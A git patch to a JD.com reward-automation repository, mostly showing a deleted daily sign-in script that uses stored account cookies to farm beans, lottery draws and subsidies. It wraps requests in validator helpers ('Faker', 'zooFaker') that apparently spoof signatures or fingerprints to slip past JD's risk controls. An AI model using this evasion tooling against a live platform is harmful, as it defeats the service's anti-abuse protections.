From 819ab67af62d0b78eaebe44bae333f618d98ff63 Mon Sep 17 00:00:00 2001 From: Faker Date: Tue, 16 Aug 2022 10:59:38 +0800 Subject: [PATCH] update --- JD_DailyBonus.js | 1930 ---------- README.md | 2 +- encrypted/jd_jxlhb.js | 8 +- fruit.ts | 318 -- gua_wealth_island.js | 1394 ------- gua_wealth_island_help.js | 615 ---- index.js | 40 - jdFruitShareCodes.js | 4 +- jd_DailyBonus_Mod.js | 2 +- jd_DrawEntrance.js | 242 -- jd_EsportsManager.js | 490 --- jd_OpenCard_Force.js | 287 -- jd_aid_factory.js | 72 - jd_babel_sign.js | 139 - jd_bean_box.ts | 139 - jd_bean_change.js | 34 +- jd_blueCoin.js | 526 --- jd_btdraw.py | 180 - jd_btfree.py | 266 -- jd_card.js | 151 - jd_ccSign.js | 311 -- jd_cfd_fresh.js | 885 ----- jd_cjhz.js | 402 -- jd_computer.js | 464 --- jd_connoisseur.js | 737 ---- jd_daily_lottery.js | 334 -- jd_desire.js | 411 --- jd_dreamFactory_tuan.js | 2 +- jd_fan.js | 549 --- jd_fanli.js | 327 -- jd_fcdyj.js | 353 -- jd_fcwb_help.js | 17 - jd_fruit_Mod.js | 1606 ++++++++ jd_fruit_help.js | 854 ----- jd_fruit_task.js | 1507 -------- jd_goodMorning.js | 488 --- jd_gua_cleancart.js | 357 ++ jd_half_redrain.js | 19 - jd_health.js | 340 -- jd_health2.js | 617 ---- jd_health_Mod.js | 822 +++++ jd_health_plant.py | 1184 +++--- jd_jdfactory.js => jd_jdfactory_Mod.js | 72 +- jd_jdtj_winner.js | 323 -- jd_jin_tie.js | 2 +- jd_jinli_hongbao.ts | 172 - jd_jmf.js | 447 --- jd_joy_joy_run.ts | 229 -- jd_joy_park.js | 610 ---- jd_lxLottery.js => jd_jr_draw.js | 292 +- jd_jump.js | 494 --- jd_live.js | 393 -- jd_live_redrain.js | 356 -- jd_ljd_xh.js | 390 -- jd_loreal_game.js | 651 ---- jd_lzdz1_customized2.js | 26 - jd_lzdz1_customizedd.js | 25 - jd_lzdz1_league.js | 520 --- jd_lzkjdz.js | 6 + jd_market_lottery.js | 188 - jd_mfredrain.js | 172 - jd_mofang.ts | 182 - jd_mofang_ex.js | 312 +- jd_mohe.js | 537 --- jd_mohe_help.js | 169 - jd_moneyTree.js | 883 ----- jd_moneyTree_heip.js | 290 -- jd_morningSc.js | 4 +- jd_moxigame.js | 11 - jd_nnfls.js | 584 --- jd_nzmh.js | 293 -- jd_opencard_jss.js | 15 - jd_opencardjoyjd.js | 510 --- jd_pet.js | 1076 ------ jd_pigPet.js | 6 +- jd_plantBean.js | 882 ----- jd_plantBean_help.js | 493 --- jd_plusLottery.js | 226 -- jd_prodev.py | 333 -- jd_productZ4Brand.js | 359 -- jd_queryRedpacket.ts | 59 - jd_redPacket_help.js | 319 -- jd_redrain.js | 310 -- jd_redrain_half.js | 21 - jd_ry.js | 3220 ----------------- jd_sendBeans.js | 555 --- jd_sgmh.js | 384 -- jd_sgmh_Mod.js | 773 ++++ jd_speed_happy_dig.ts | 159 - jd_speed_monitor.ts | 36 - jd_speed_signfaker.js => jd_speed_sign_Mod.js | 219 +- ...angejxbeans.js => jd_speed_signfree_Mod.js | 256 +- jd_speedcoupon.js | 178 - jd_sxLottery.js | 416 --- jd_try_2.0.js | 1307 ------- jd_vivo.js | 11 - jd_xinruimz.js | 10 + jd_xp.js | 3220 ----------------- jd_xtclh.js | 338 -- jd_jxlhb.js => jx_sign_xd.js | 406 +-- wskey.py | 640 ++++ 101 files changed, 5397 insertions(+), 39398 deletions(-) delete mode 100644 JD_DailyBonus.js delete mode 100644 fruit.ts delete mode 100644 gua_wealth_island.js delete mode 100644 gua_wealth_island_help.js delete mode 100644 index.js delete mode 100644 jd_DrawEntrance.js delete mode 100644 jd_EsportsManager.js delete mode 100644 jd_OpenCard_Force.js delete mode 100644 jd_aid_factory.js delete mode 100644 jd_babel_sign.js delete mode 100644 jd_bean_box.ts delete mode 100644 jd_blueCoin.js delete mode 100644 jd_btdraw.py delete mode 100644 jd_btfree.py delete mode 100644 jd_card.js delete mode 100644 jd_ccSign.js delete mode 100644 jd_cfd_fresh.js delete mode 100644 jd_cjhz.js delete mode 100644 jd_computer.js delete mode 100644 jd_connoisseur.js delete mode 100644 jd_daily_lottery.js delete mode 100644 jd_desire.js delete mode 100644 jd_fan.js delete mode 100644 jd_fanli.js delete mode 100644 jd_fcdyj.js delete mode 100644 jd_fcwb_help.js create mode 100644 jd_fruit_Mod.js delete mode 100644 jd_fruit_help.js delete mode 100644 jd_fruit_task.js delete mode 100644 jd_goodMorning.js create mode 100644 jd_gua_cleancart.js delete mode 100644 jd_half_redrain.js delete mode 100644 jd_health.js delete mode 100644 jd_health2.js create mode 100644 jd_health_Mod.js rename jd_jdfactory.js => jd_jdfactory_Mod.js (95%) delete mode 100644 jd_jdtj_winner.js delete mode 100644 jd_jinli_hongbao.ts delete mode 100644 jd_jmf.js delete mode 100644 jd_joy_joy_run.ts delete mode 100644 jd_joy_park.js rename jd_lxLottery.js => jd_jr_draw.js (60%) delete mode 100644 jd_jump.js delete mode 100644 jd_live.js delete mode 100644 jd_live_redrain.js delete mode 100644 jd_ljd_xh.js delete mode 100644 jd_loreal_game.js delete mode 100644 jd_lzdz1_customized2.js delete mode 100644 jd_lzdz1_customizedd.js delete mode 100755 jd_lzdz1_league.js create mode 100644 jd_lzkjdz.js delete mode 100644 jd_market_lottery.js delete mode 100644 jd_mfredrain.js delete mode 100644 jd_mofang.ts delete mode 100644 jd_mohe.js delete mode 100644 jd_mohe_help.js delete mode 100644 jd_moneyTree.js delete mode 100644 jd_moneyTree_heip.js delete mode 100644 jd_moxigame.js delete mode 100644 jd_nnfls.js delete mode 100644 jd_nzmh.js delete mode 100644 jd_opencard_jss.js delete mode 100644 jd_opencardjoyjd.js delete mode 100644 jd_pet.js delete mode 100644 jd_plantBean.js delete mode 100644 jd_plantBean_help.js delete mode 100644 jd_plusLottery.js delete mode 100644 jd_prodev.py delete mode 100644 jd_productZ4Brand.js delete mode 100644 jd_queryRedpacket.ts delete mode 100644 jd_redPacket_help.js delete mode 100644 jd_redrain.js delete mode 100644 jd_redrain_half.js delete mode 100644 jd_ry.js delete mode 100644 jd_sendBeans.js delete mode 100644 jd_sgmh.js create mode 100644 jd_sgmh_Mod.js delete mode 100644 jd_speed_happy_dig.ts delete mode 100644 jd_speed_monitor.ts rename jd_speed_signfaker.js => jd_speed_sign_Mod.js (94%) rename jd_exchangejxbeans.js => jd_speed_signfree_Mod.js (57%) delete mode 100644 jd_speedcoupon.js delete mode 100644 jd_sxLottery.js delete mode 100644 jd_try_2.0.js delete mode 100644 jd_vivo.js delete mode 100644 jd_xp.js delete mode 100644 jd_xtclh.js rename jd_jxlhb.js => jx_sign_xd.js (79%) create mode 100644 wskey.py diff --git a/JD_DailyBonus.js b/JD_DailyBonus.js deleted file mode 100644 index ea895417f..000000000 --- a/JD_DailyBonus.js +++ /dev/null @@ -1,1930 +0,0 @@ -/* - -京东多合一签到脚本 - -更新时间: 2021.08.15 19:00 v2.1.0 -有效接口: 20+ -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -电报频道: @NobyDa -问题反馈: @NobyDa_bot -如果转载: 请注明出处 - -如需获取京东金融签到Body, 可进入"京东金融"APP (iOS), 在"首页"点击"签到"并签到一次, 返回抓包app搜索关键字 h5/m/appSign 复制请求体填入json串数据内即可 -*/ - -var Key = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ - -var DualKey = ''; //该参数已废弃; 仅用于下游脚本的兼容, 请使用json串数据 ↓ - -var OtherKey = ``; //无限账号Cookie json串数据, 请严格按照json格式填写, 具体格式请看以下样例: - - -var LogDetails = false; //是否开启响应日志, true则开启 - -var stop = '0'; //自定义延迟签到, 单位毫秒. 默认分批并发无延迟; 该参数接受随机或指定延迟(例: '2000'则表示延迟2秒; '2000-5000'则表示延迟最小2秒,最大5秒内的随机延迟), 如填入延迟则切换顺序签到(耗时较长), Surge用户请注意在SurgeUI界面调整脚本超时; 注: 该参数Node.js或JSbox环境下已配置数据持久化, 留空(var stop = '')即可清除. - -var DeleteCookie = false; //是否清除所有Cookie, true则开启. - -var boxdis = true; //是否开启自动禁用, false则关闭. 脚本运行崩溃时(如VPN断连), 下次运行时将自动禁用相关崩溃接口(仅部分接口启用), 崩溃时可能会误禁用正常接口. (该选项仅适用于QX,Surge,Loon) - -var ReDis = false; //是否移除所有禁用列表, true则开启. 适用于触发自动禁用后, 需要再次启用接口的情况. (该选项仅适用于QX,Surge,Loon) - -var out = 0; //接口超时退出, 用于可能发生的网络不稳定, 0则关闭. 如QX日志出现大量"JS Context timeout"后脚本中断时, 建议填写6000 - -var $nobyda = nobyda(); - -var merge = {}; - -var KEY = ''; - -const Faker = require('./JDSignValidator') -const zooFaker = require('./JDJRValidator_Pure') -let fp = '', eid = '' - -$nobyda.get = zooFaker.injectToRequest2($nobyda.get.bind($nobyda), 'channelSign') -$nobyda.post = zooFaker.injectToRequest2($nobyda.post.bind($nobyda), 'channelSign') - -async function all(cookie, jrBody) { - KEY = cookie; - merge = {}; - $nobyda.num++; - switch (stop) { - case 0: - await Promise.all([ - JingDongBean(stop), //京东京豆 - JingDongStore(stop), //京东超市 - JingRongSteel(stop, jrBody), //金融钢镚 - JingDongTurn(stop), //京东转盘 - JDFlashSale(stop), //京东闪购 - JingDongCash(stop), //京东现金红包 - JDMagicCube(stop, 2), //京东小魔方 - JingDongSubsidy(stop), //京东金贴 - JingDongGetCash(stop), //京东领现金 - JingDongShake(stop), //京东摇一摇 - JDSecKilling(stop), //京东秒杀 - // JingRongDoll(stop, 'JRDoll', '京东金融-签壹', '4D25A6F482'), - // JingRongDoll(stop, 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'), - // JingRongDoll(stop, 'JRFourDoll', '京东金融-签肆', '30C4F86264'), - // JingRongDoll(stop, 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F') - ]); - await Promise.all([ - JDUserSignPre(stop, 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'), //京东内衣馆 - JDUserSignPre(stop, 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'), //京东卡包 - // JDUserSignPre(stop, 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'), //京东定制 - JDUserSignPre(stop, 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'), //京东陪伴 - JDUserSignPre(stop, 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'), //京东鞋靴 - JDUserSignPre(stop, 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'), //京东童装馆 - JDUserSignPre(stop, 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 - JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 - JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 - JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 - // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 - JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 - // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 - ]); - await Promise.all([ - JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 - // JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 - JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 - JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 - JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 - JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 - JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 - JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 - JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 - // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 - // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 - JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 - // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 - JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 - ]); - await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 - break; - default: - await JingDongBean(0); //京东京豆 - await JingDongStore(Wait(stop)); //京东超市 - await JingRongSteel(Wait(stop), jrBody); //金融钢镚 - await JingDongTurn(Wait(stop)); //京东转盘 - await JDFlashSale(Wait(stop)); //京东闪购 - await JingDongCash(Wait(stop)); //京东现金红包 - await JDMagicCube(Wait(stop), 2); //京东小魔方 - await JingDongGetCash(Wait(stop)); //京东领现金 - await JingDongSubsidy(Wait(stop)); //京东金贴 - await JingDongShake(Wait(stop)); //京东摇一摇 - await JDSecKilling(Wait(stop)); //京东秒杀 - // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); - // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); - // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); - // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); - // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 - await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 - await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 - await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 - await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 - // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 - await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 - // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 - await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 - await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 - await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 - await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 - await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 - await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 - await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 - await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 - await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 - // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 - await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 - await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 - await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 - // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 - await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 - await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 - await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 - // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 - // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 - await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 - break; - } - await Promise.all([ - TotalSteel(), //总钢镚查询 - TotalCash(), //总红包查询 - TotalBean(), //总京豆查询 - TotalSubsidy(), //总金贴查询 - TotalMoney() //总现金查询 - ]); - await notify(); //通知模块 -} - -function notify() { - return new Promise(resolve => { - try { - var bean = 0; - var steel = 0; - var cash = 0; - var money = 0; - var subsidy = 0; - var success = 0; - var fail = 0; - var err = 0; - var notify = ''; - for (var i in merge) { - bean += merge[i].bean ? Number(merge[i].bean) : 0 - steel += merge[i].steel ? Number(merge[i].steel) : 0 - cash += merge[i].Cash ? Number(merge[i].Cash) : 0 - money += merge[i].Money ? Number(merge[i].Money) : 0 - subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 - success += merge[i].success ? Number(merge[i].success) : 0 - fail += merge[i].fail ? Number(merge[i].fail) : 0 - err += merge[i].error ? Number(merge[i].error) : 0 - notify += merge[i].notify ? "\n" + merge[i].notify : "" - } - var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" - var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` - var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" - var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" - var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" - var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" - var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" - var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" - var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" - var TMoney = money ? `${money.toFixed(2)}现金` : "" - var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` - var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` - var Te = err ? `错误${err}个` : `` - var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` - var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` - var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` - var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` - var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` - var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" - var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; - const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` - const disables = $nobyda.read("JD_DailyBonusDisables") - const amount = disables ? disables.split(",").length : 0 - const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第114行注释.\n` : `` - $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { - 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' - }); - $nobyda.headUrl = null; - if ($nobyda.isJSBox) { - $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" - } - } catch (eor) { - $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) - } finally { - resolve() - } - }); -} - -(async function ReadCookie() { - const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; - const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; - const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; - const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); - const cookieSet = $nobyda.read(EnvInfo3); - if (DeleteCookie) { - const write = $nobyda.write("", EnvInfo3); - throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); - } else if ($nobyda.isRequest) { - GetCookie() - } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { - if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); - out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; - stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); - boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; - LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; - ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; - $nobyda.num = 0; - if (Key) await all(Key); - if (DualKey && DualKey !== Key) await all(DualKey); - if ((OtherKey || cookieSet || '[]') != '[]') { - try { - OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); - const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; - for (let i = 0; i < OtherKey.length; i++) { - const ck = OtherKey[i].cookie; - const jr = OtherKey[i].jrBody; - if (ck != Key && ck != DualKey) { - await all(ck, jr) - } - } - } catch (e) { - throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) - } - } - $nobyda.time(); - } else { - throw new Error('脚本终止, 未获取Cookie ‼️') - } -})().catch(e => { - $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) -}).finally(() => { - if ($nobyda.isJSBox) $intents.finish($nobyda.st); - $nobyda.done(); -}) - -function JingDongBean(s) { - merge.JDBean = {}; - return new Promise(resolve => { - if (disable("JDBean")) return resolve() - setTimeout(() => { - const JDBUrl = { - url: 'https://api.m.jd.com/client.action', - headers: { - Cookie: KEY - }, - body: 'functionId=signBeanIndex&appid=ld' - }; - $nobyda.post(JDBUrl, function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const cc = JSON.parse(data) - const Details = LogDetails ? "response:\n" + data : ''; - if (cc.code == 3) { - console.log("\n" + "京东商城-京豆Cookie失效 " + Details) - merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" - merge.JDBean.fail = 1 - } else if (data.match(/跳转至拼图/)) { - merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" - merge.JDBean.fail = 1 - } else if (data.match(/\"status\":\"?1\"?/)) { - console.log("\n" + "京东商城-京豆签到成功 " + Details) - if (data.match(/dailyAward/)) { - merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" - merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount - } else if (data.match(/continuityAward/)) { - merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" - merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount - } else if (data.match(/新人签到/)) { - const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) - merge.JDBean.bean = quantity ? quantity[1] : 0 - merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" - } else { - merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" - } - merge.JDBean.success = 1 - } else { - merge.JDBean.fail = 1 - console.log("\n" + "京东商城-京豆签到失败 " + Details) - if (data.match(/(已签到|新人签到)/)) { - merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" - } else if (data.match(/人数较多|S101/)) { - merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" - } else { - merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" - } - } - } - } catch (eor) { - $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) - } finally { - resolve() - } - }) - }, s) - if (out) setTimeout(resolve, out + s) - }); -} - -function JingDongTurn(s) { - merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; - return new Promise((resolve, reject) => { - if (disable("JDTurn")) return reject() - const JDTUrl = { - url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', - headers: { - Cookie: KEY, - } - }; - $nobyda.get(JDTUrl, async function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const cc = JSON.parse(data).data.lotteryCode - const Details = LogDetails ? "response:\n" + data : ''; - if (cc) { - console.log("\n" + "京东商城-转盘查询成功 " + Details) - return resolve(cc) - } else { - merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" - merge.JDTurn.fail = 1 - console.log("\n" + "京东商城-转盘查询失败 " + Details) - } - } - } catch (eor) { - $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) - } finally { - reject() - } - }) - if (out) setTimeout(reject, out + s) - }).then(data => { - return JingDongTurnSign(s, data); - }, () => {}); -} - -function JingDongTurnSign(s, code) { - return new Promise(resolve => { - setTimeout(() => { - const JDTUrl = { - url: `https://api.m.jd.com/client.action?functionId=lotteryDraw&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%2C%22lotteryCode%22%3A%22${code}%22%7D&appid=ld`, - headers: { - Cookie: KEY, - } - }; - $nobyda.get(JDTUrl, async function(error, response, data) { - try { - if (error) { - throw new Error(error) - } else { - const cc = JSON.parse(data) - const Details = LogDetails ? "response:\n" + data : ''; - const also = merge.JDTurn.notify ? true : false - if (cc.code == 3) { - console.log("\n" + "京东转盘Cookie失效 " + Details) - merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" - merge.JDTurn.fail = 1 - } else if (data.match(/(\"T216\"|活动结束)/)) { - merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" - merge.JDTurn.fail = 1 - } else if (data.match(/(京豆|\"910582\")/)) { - console.log("\n" + "京东商城-转盘签到成功 " + Details) - merge.JDTurn.bean += Number(cc.data.prizeSendNumber) || 0 - merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${cc.data.prizeSendNumber||`无`}京豆 🐶` - merge.JDTurn.success += 1 - if (cc.data.chances != "0") { - await JingDongTurnSign(2000, code) - } - } else if (data.match(/未中奖/)) { - merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` 